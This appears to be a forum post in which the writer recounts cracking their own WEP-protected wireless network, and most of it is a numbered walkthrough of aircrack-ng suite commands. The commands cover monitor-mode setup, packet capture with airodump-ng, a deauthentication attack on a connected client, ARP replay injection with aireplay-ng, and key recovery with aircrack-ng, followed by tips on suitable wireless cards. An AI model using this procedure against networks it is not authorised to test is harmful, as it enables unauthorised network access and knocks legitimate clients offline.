I have not downloaded this file yet but as an aside: I managed to crack my own wep network at long last:
you need: an atheros wlan card, backtrack 2 cd. laptop.
also a wep network with a wep client attached.
Therse commands were used:
note eth0 was the card in this instance, sometimes its wifi0 etc...
iwconfig eth0 mode monitor
startx
now open a few terminal windows eg 1. 2. 3. 4
1. airodump-ng -w test.dmp -i eth0 --channel 7 (last bit optional to narrow the channel - of te AP)
2. aireplay-ng -0 10 -a 00:0f:44:44:44 (AP mac) -c 00:00:00 (mac of client) eth0
(do this one shortly after the previous one as it has to cap the arp packets)
3. aireplay-ng -3 -x 512 -b 00:00:000:00 (AP mac) -h 00:00:000(client mac) eth0
4. aircrack-ng test.dmp-01.ivs
After 200k packets I ran aircrack and it took 1 min to crack the key.
Note if aireplay doesnt see any arp packets you possibly have a useless wlan card. I tried 5 cards before I found one that worked and unfortunately I cant identify exact model
